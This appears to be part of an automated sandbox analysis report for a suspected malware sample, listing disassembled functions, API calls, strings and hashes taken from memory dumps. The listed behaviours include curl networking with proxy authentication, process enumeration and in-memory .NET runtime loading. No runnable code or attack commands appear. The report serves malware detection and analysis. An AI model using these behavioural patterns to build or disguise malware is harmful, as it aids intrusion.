Host:, xrefs: 004A4E20
%s, xrefs: 004A4ED3
Content-Type:, xrefs: 004A4E44

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: %s$Connection$Content-Length$Content-Type:$Host:
API String ID: 601868998-3608260288
Opcode ID: 4c01c3f5de266cf00d4fc7bab8b4c5407c65d67a04a8c83c91de2a677ef8d0c4
Instruction ID: 84d5a355a6eef8ef1c55de592e6da6033979226e0aae5dae78b643bca8004ff0
Opcode Fuzzy Hash: 4c01c3f5de266cf00d4fc7bab8b4c5407c65d67a04a8c83c91de2a677ef8d0c4
Instruction Fuzzy Hash: 93314035A002416AEF319A568C02B6BB794FFF3758F28007BEC8456392E7FE4D54C629

Function 02519183 Relevance: 10.6, APIs: 7, Instructions: 114COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,0000000D,?), ref: 025191E8
CreateDirectoryA.KERNEL32(?,00000000,?,0000000D,?), ref: 025191FC
__fassign.LIBCMT ref: 025191AF

Part of subcall function 0251BE6F: __mbsnbcpy_l.LIBCMT ref: 0251BE7F

__fassign.LIBCMT ref: 02519267
__fassign.LIBCMT ref: 02519296
GetFileAttributesA.KERNEL32(00000000,?,0000000D,?), ref: 025192A9
CreateDirectoryA.KERNEL32(00000000,00000000,?,0000000D,?), ref: 025192BD

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: __fassign$AttributesCreateDirectoryFile$__mbsnbcpy_l
String ID:
API String ID: 2854908881-0
Opcode ID: ab4daf2c7dea018bc69d4e3e14802ae0691d08ef46b33b0ca6b9873c62628117
Instruction ID: 2622d85df6a56453e236967a4380c58c17623e6f0c5edef9ac7413e2acf9efeb
Opcode Fuzzy Hash: ab4daf2c7dea018bc69d4e3e14802ae0691d08ef46b33b0ca6b9873c62628117
Instruction Fuzzy Hash: 4E4124B19042485AEF14DB68CCACFEA7BADBB46304F5401E5D9A4D3181DB70CB8CCBA4

Function 0251EBD4 Relevance: 10.6, APIs: 7, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,?,0251C2E7,1001D1F0,00000008,0251C47B,?,?,?,1001D210,0000000C,0251C536,?), ref: 0251EBDC
__mtterm.LIBCMT ref: 0251EBE8

Part of subcall function 0251E8B3: RtlDecodePointer.NTDLL(100209BC), ref: 0251E8C4
Part of subcall function 0251E8B3: TlsFree.KERNEL32(100209C0,0251C3AA,0251C390,1001D1F0,00000008,0251C47B,?,?,?,1001D210,0000000C,0251C536,?), ref: 0251E8DE
Part of subcall function 0251E8B3: _free.LIBCMT ref: 0251F6D6

TlsAlloc.KERNEL32(?,?,0251C2E7,1001D1F0,00000008,0251C47B,?,?,?,1001D210,0000000C,0251C536,?), ref: 0251EC75
__init_pointers.LIBCMT ref: 0251EC9A
__calloc_crt.LIBCMT ref: 0251ED08
GetCurrentThreadId.KERNEL32 ref: 0251ED34

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: AllocCurrentDecodeFreeHandleModulePointerThread__calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 347030822-0
Opcode ID: 3c7c05e7eaa37702d33dfceb611bb0c21a3dbd61a39fa902a69b4c595881c613
Instruction ID: 77a358ff3590f6ec7b83a9ea2b99679e3df05c8bb412fed8e2c3f94b619df0d7
Opcode Fuzzy Hash: 3c7c05e7eaa37702d33dfceb611bb0c21a3dbd61a39fa902a69b4c595881c613
Instruction Fuzzy Hash: B2317339C40A35EEF711AF74CC896863EA5FFA4364724466EE802D62B0EB34C642CF54

Function 1000EBD0 Relevance: 10.6, APIs: 7, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,?,1000C2E3,1001D1F0,00000008,1000C477,?,?,?,1001D210,0000000C,1000C532,?), ref: 1000EBD8
__mtterm.LIBCMT ref: 1000EBE4

Part of subcall function 1000E8AF: RtlDecodePointer.NTDLL(100209BC), ref: 1000E8C0
Part of subcall function 1000E8AF: TlsFree.KERNEL32(100209C0,1000C3A6,1000C38C,1001D1F0,00000008,1000C477,?,?,?,1001D210,0000000C,1000C532,?), ref: 1000E8DA
Part of subcall function 1000E8AF: _free.LIBCMT ref: 1000F6D2

TlsAlloc.KERNEL32(?,?,1000C2E3,1001D1F0,00000008,1000C477,?,?,?,1001D210,0000000C,1000C532,?), ref: 1000EC71
__init_pointers.LIBCMT ref: 1000EC96
__calloc_crt.LIBCMT ref: 1000ED04
GetCurrentThreadId.KERNEL32 ref: 1000ED30

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: AllocCurrentDecodeFreeHandleModulePointerThread__calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 347030822-0
Opcode ID: 3c7c05e7eaa37702d33dfceb611bb0c21a3dbd61a39fa902a69b4c595881c613
Instruction ID: cdc5453926d3cdafda7d0cf5676fe7fcc83e6c0bd1f53981196b5b0a05a6974c
Opcode Fuzzy Hash: 3c7c05e7eaa37702d33dfceb611bb0c21a3dbd61a39fa902a69b4c595881c613
Instruction Fuzzy Hash: 1131A079C41A74EFF751DF748C846863EA5EFA53E0724466AE802E62B4DB34CA42CF40

Function 004D8D79 Relevance: 10.6, APIs: 7, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56cef25353079fa937c77afe6f0a02665151ace2456c6f33b640e3c6f879750a
Instruction ID: 3d4693cbc63508825a589938b58cc7543580e46c9952f1987cbd34a7c9b502d3
Opcode Fuzzy Hash: 56cef25353079fa937c77afe6f0a02665151ace2456c6f33b640e3c6f879750a
Instruction Fuzzy Hash: 871124765001157BCB202F768C54E7B3BACDFC1765B10022FB819D7391DE789C019AA9

Function 00494D48 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

curl_maprintf.8CODX513SS(%s%s%s%s%s%s%lld%s%s,#HttpOnly_,004013FD,unknown,0040BE88,?,0040BE88,?,?,?,?,?,00000000,00000000,?,00494A4E), ref: 00494DD2

Strings

FALSE, xrefs: 00494D9B
%s%s%s%s%s%s%lld%s%s, xrefs: 00494DCD
TRUE, xrefs: 00494D96
#HttpOnly_, xrefs: 00494DB7, 00494DCC
unknown, xrefs: 00494D55, 00494DC2

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: curl_maprintf
String ID: #HttpOnly_$%s%s%s%s%s%s%lld%s%s$FALSE$TRUE$unknown
API String ID: 3307269620-3817228265
Opcode ID: b5a0a67ca34f10d82ab78ad82af3f5086b94716d94a581a804fe16dc2adfe28a
Instruction ID: 61f5641b6373e8b0b076fbe83da83671f069decb387694761f7cddc276bb5f72
Opcode Fuzzy Hash: b5a0a67ca34f10d82ab78ad82af3f5086b94716d94a581a804fe16dc2adfe28a
Instruction Fuzzy Hash: A1118271600205EFEB144E15CC88B62F7E9FB84351F44827AE9089B291D3B8ECC0CBE8

Function 0251A077 Relevance: 9.3, APIs: 6, Instructions: 301COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0251A081
wsprintfA.USER32 ref: 0251A110
wsprintfA.USER32 ref: 0251A433

Part of subcall function 02518BA5: __fassign.LIBCMT ref: 02518BB8

_wprintf.LIBCMT ref: 0251A1AF
std::_Xinvalid_argument.LIBCPMT ref: 0251A40F
OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017390,000000FF), ref: 0251A449

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: wsprintf$DebugH_prolog3_OutputStringXinvalid_argument__fassign_wprintfstd::_
String ID:
API String ID: 2279894289-0
Opcode ID: 8d31fd30a60b78900801f3dadadade0933e8a62446fcf3f3149f45a3a26da52a
Instruction ID: 16103349233884b4f51e117bf6f3c7301c5fbe74505aa9c583a5840df31797c9
Opcode Fuzzy Hash: 8d31fd30a60b78900801f3dadadade0933e8a62446fcf3f3149f45a3a26da52a
Instruction Fuzzy Hash: 73C137718152699BEF22DFA4CC80BDDBBB9BF48310F5041AAE809A7141D730AF85CF59

Function 004D5CE7 Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,?,?,?,?,004D5F38,00000001,00000001,?), ref: 004D5D41
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,?,?,004D5F38,00000001,00000001,?,?), ref: 004D5DC7
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 004D5EC1
__freea.LIBCMT ref: 004D5ECE

Part of subcall function 004D356F: HeapAlloc.KERNEL32(00000000,?,?,?,004D51B5,00001000,00000000,00000000,?,?,004C41BC,00000000,00000000,?,?,?), ref: 004D35A1

__freea.LIBCMT ref: 004D5ED7
__freea.LIBCMT ref: 004D5EFC

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocHeap
String ID:
API String ID: 3147120248-0
Opcode ID: 085e027ed2353b6ede953cda3436e7c51a45f790cd78237c0381f1483219ef08
Instruction ID: 4381e7b6189db09be19fe3075e6692eb9a3c389e5635b177e11eea320dedc266
Opcode Fuzzy Hash: 085e027ed2353b6ede953cda3436e7c51a45f790cd78237c0381f1483219ef08
Instruction Fuzzy Hash: 3051F472600606ABDB25AF65CC51EBB77AAEF40754F25462BFC14DA340EF38DD40C668

Function 00496D8C Relevance: 9.2, APIs: 6, Instructions: 182COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 00496DB4
___from_strstr_to_strchr.LIBCMT ref: 00496DD9
___from_strstr_to_strchr.LIBCMT ref: 00496DFE
___from_strstr_to_strchr.LIBCMT ref: 00496E72
___from_strstr_to_strchr.LIBCMT ref: 00496E83

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ___from_strstr_to_strchr$_strstr
String ID:
API String ID: 2668852316-0
Opcode ID: 5e8fa029adfd915af60cf83a687222dcd375f69ea0ce1630c183491f474779e1
Instruction ID: 63782c84abe52a818765ca25a8796fd1ec83064fd0598b3aa9bf01ecf522a2f7
Opcode Fuzzy Hash: 5e8fa029adfd915af60cf83a687222dcd375f69ea0ce1630c183491f474779e1
Instruction Fuzzy Hash: 7451D479A483866EEF354B25D8456AB7F94DF01324F26807FE8449B382EB3C9901875D

Function 004A7904 Relevance: 9.2, APIs: 6, Instructions: 173networkCOMMON

Download Yara Rule

APIs

select.WS2_32(?,?,?,?,?), ref: 004A7A6C
WSAGetLastError.WS2_32 ref: 004A7A77

Part of subcall function 004A7B4D: WSASetLastError.WS2_32(00002726,?,004A7941,?,?,?,?), ref: 004A7B5E

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ErrorLast$select
String ID:
API String ID: 1043644060-0
Opcode ID: 6187b1334c63cc2516a73a31a4f2916ba5cda6d13f2bae652db2f030829049db
Instruction ID: 5a6dc40a877beab2285c542bafd7f913d8b5d859f3e542b54809e320428d2b5a
Opcode Fuzzy Hash: 6187b1334c63cc2516a73a31a4f2916ba5cda6d13f2bae652db2f030829049db
Instruction Fuzzy Hash: A96143B1A042189BDF35CF69CC806EE76BDAB69324F1042EBE419D2281D7749F858F58

Function 02511034 Relevance: 9.1, APIs: 6, Instructions: 85comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02511054
CoCreateInstance.COMBASE(10018278,00000000,00000001,10018268,?), ref: 02511076
lstrlen.KERNEL32 ref: 025110AF
_memset.LIBCMT ref: 025110E4
MultiByteToWideChar.KERNEL32(00000000,00000001,?,000000FF,?,00000104), ref: 02511103
CoUninitialize.COMBASE ref: 02511135

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: ByteCharCreateInitializeInstanceMultiUninitializeWide_memsetlstrlen
String ID:
API String ID: 2586284713-0
Opcode ID: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction ID: ee6e1c7e2289c9f25b8e95813827e0a3e06eda34aae7001bd107b12b0414138d
Opcode Fuzzy Hash: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction Fuzzy Hash: DE31D5B4A80228ABDB11DBA4CC8CEDA77B9BF59705F1045D8E519DB250DA709A81CF60

Function 10001030 Relevance: 9.1, APIs: 6, Instructions: 85comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 10001050
CoCreateInstance.COMBASE(10018278,00000000,00000001,10018268,?), ref: 10001072
lstrlen.KERNEL32 ref: 100010AB
_memset.LIBCMT ref: 100010E0
MultiByteToWideChar.KERNEL32(00000000,00000001,?,000000FF,?,00000104), ref: 100010FF
CoUninitialize.COMBASE ref: 10001131

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: ByteCharCreateInitializeInstanceMultiUninitializeWide_memsetlstrlen
String ID:
API String ID: 2586284713-0
Opcode ID: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction ID: 664aa968f72d4cd45b7a3fd5e221c3ca8dfa21182a69c0156fac1596d0e7f6aa
Opcode Fuzzy Hash: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction Fuzzy Hash: 063108B4A40228AFEB10DBA4CC8CEDA77B9EF59700F104598F519DB251DB709B81CF60

Function 100017FE Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001821
_memset.LIBCMT ref: 10001836
Process32FirstW.KERNEL32(00000000,?), ref: 10001850
lstrcmpiW.KERNEL32(?,?), ref: 10001865
Process32NextW.KERNEL32(00000000,0000022C), ref: 10001877
CloseHandle.KERNEL32(00000000), ref: 1000188A

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memsetlstrcmpi
String ID:
API String ID: 2129496168-0
Opcode ID: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction ID: 5c01007aa728b7b355400407fd9a60d2a2a32c9b30635de5fd00e376eafa42f4
Opcode Fuzzy Hash: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction Fuzzy Hash: 3011FA71A0021CABEB50DBA5DCC9AAEB7BCFB08684F1041A9E505D2151DB78DF48CB20

Function 0251E073 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0251E07F

Part of subcall function 0251EA1D: __getptd_noexit.LIBCMT ref: 0251EA20
Part of subcall function 0251EA1D: __amsg_exit.LIBCMT ref: 0251EA2D

__amsg_exit.LIBCMT ref: 0251E09F
__lock.LIBCMT ref: 0251E0AF
InterlockedDecrement.KERNEL32(?), ref: 0251E0CC
_free.LIBCMT ref: 0251E0DF
InterlockedIncrement.KERNEL32(10020670), ref: 0251E0F7

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 6b734a3c0f387b71fdf5a8eab89ac20fe8d4012c3391868757373a917024e17b
Instruction ID: d799bcfd6019b3675d863544e9ecb479f9deae138fa5ca7c8eed850603bc27e9
Opcode Fuzzy Hash: 6b734a3c0f387b71fdf5a8eab89ac20fe8d4012c3391868757373a917024e17b
Instruction Fuzzy Hash: D9018031901722EBFB21EF25C88A76D7B62BF84718F144105FC1067691DB34A982CFD9

Function 1000E06F Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 1000E07B

Part of subcall function 1000EA19: __getptd_noexit.LIBCMT ref: 1000EA1C
Part of subcall function 1000EA19: __amsg_exit.LIBCMT ref: 1000EA29

__amsg_exit.LIBCMT ref: 1000E09B
__lock.LIBCMT ref: 1000E0AB
InterlockedDecrement.KERNEL32(?), ref: 1000E0C8
_free.LIBCMT ref: 1000E0DB
InterlockedIncrement.KERNEL32(10020670), ref: 1000E0F3

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: ed8abe9c89acfe604225b9d8d16b7c0929d63a43bec97a6f5cde68894dc557a5
Instruction ID: 7ac3fc73bca225fbfad3d5cf6e4fe575569f2bf49abb7c7b9fdc7c2b980e4b28
Opcode Fuzzy Hash: ed8abe9c89acfe604225b9d8d16b7c0929d63a43bec97a6f5cde68894dc557a5
Instruction Fuzzy Hash: 1401CB35901761EBFB51DF64888575DB2A0FB443D4F10411AF800B769ACBB4ADC2CB92

Function 0049BCBA Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0049BCCB
curl_easy_unescape.8CODX513SS(?,?,00000000,00000000,00000000,?,?), ref: 0049BD45
curl_easy_unescape.8CODX513SS(?,0049B066,00000000,00000000,00000000,?,?), ref: 0049BD93

Strings

%255[^:@]:%255[^@], xrefs: 0049BD19
:%255[^@], xrefs: 0049BD29

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: curl_easy_unescape$___from_strstr_to_strchr
String ID: %255[^:@]:%255[^@]$:%255[^@]
API String ID: 411310301-1784484331
Opcode ID: 4397a53664f9ddcda4a0f62b83d54fb47dd95013f26f759724d7c6ac276ad164
Instruction ID: 308d70cd0f4ce09585d1992610e330e54b68db7b0c42602f290500520ee0e0ca
Opcode Fuzzy Hash: 4397a53664f9ddcda4a0f62b83d54fb47dd95013f26f759724d7c6ac276ad164
Instruction Fuzzy Hash: 23316C716003416AEF1A4F34AD44BE73F51EF86310F1882BEE8855B382DB3D540287A8

Function 004A6313 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT(?,00004001,%s:%s,?,?,?,00000000), ref: 004A636B
curl_maprintf.8CODX513SS(%sAuthorization: Basic %s,Proxy-,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 004A63DC

Strings

%s:%s, xrefs: 004A6357
Proxy-, xrefs: 004A63CE, 004A63D6
%sAuthorization: Basic %s, xrefs: 004A63D7

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ___swprintf_lcurl_maprintf
String ID: %s:%s$%sAuthorization: Basic %s$Proxy-
API String ID: 2766402477-2961970465
Opcode ID: 71ee1f1d884e33dbbb29cf267cb66bfd7bda8ed4cd5e8cd4c2474f36a12324d9
Instruction ID: 4b4ca5f9266de6c98728454eef89dc8d1b2c01cc6634ec8b1c762fbd2258bae3
Opcode Fuzzy Hash: 71ee1f1d884e33dbbb29cf267cb66bfd7bda8ed4cd5e8cd4c2474f36a12324d9
Instruction Fuzzy Hash: 4531D5B5A00509FFDF10DF68C845BBA77B8EF54305F24806EE80597281D37AAE55CB94

Function 004D625A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,?,aI,?,004D6201,?,aI,00000001,?,?,004D65B4,0000000E,GetSystemTimePreciseAsFileTime), ref: 004D628C
GetLastError.KERNEL32(?,004D6201,?,aI,00000001,?,?,004D65B4,0000000E,GetSystemTimePreciseAsFileTime,0041AC70,0041AC74,00000001,?,?,004C468E), ref: 004D6298
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,004D6201,?,aI,00000001,?,?,004D65B4,0000000E,GetSystemTimePreciseAsFileTime,0041AC70,0041AC74,00000001), ref: 004D62A6

Strings

aI, xrefs: 004D6262

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: aI
API String ID: 3177248105-2080729186
Opcode ID: 5d0f0c6b85898ed10bd711374ecc7ef3eb6f29e56a107a876fdec9d4c1a8ba45
Instruction ID: b7b8bccdf8e0cc2d94cfe1424042715ec753efa92d2f7a2ca336a76e0c75531c
Opcode Fuzzy Hash: 5d0f0c6b85898ed10bd711374ecc7ef3eb6f29e56a107a876fdec9d4c1a8ba45
Instruction Fuzzy Hash: AE01FC366012379BC7219A689C949577BACEF057A1B120273F915D7381C725DC11C6D9

Function 025136F1 Relevance: 7.8, APIs: 5, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 025136F8
CLRCreateInstance.MSCOREE(1001A868,1001A858,?), ref: 02513712
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 02513816
SafeArrayUnaccessData.OLEAUT32(?), ref: 02513845
SysAllocString.OLEAUT32(?), ref: 025138F7

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: ArrayDataSafe$AccessAllocCreateH_prolog3InstanceStringUnaccess
String ID:
API String ID: 3666180938-0
Opcode ID: c4e03407da82dd7acee9e58b2e3332b21c01f3ee84fc2936f4e07a0afcb2d3ef
Instruction ID: bdecf3c9950c4ff3f1b4026b88907762e06070a6b49c40a9cd929713e8b8ea20
Opcode Fuzzy Hash: c4e03407da82dd7acee9e58b2e3332b21c01f3ee84fc2936f4e07a0afcb2d3ef
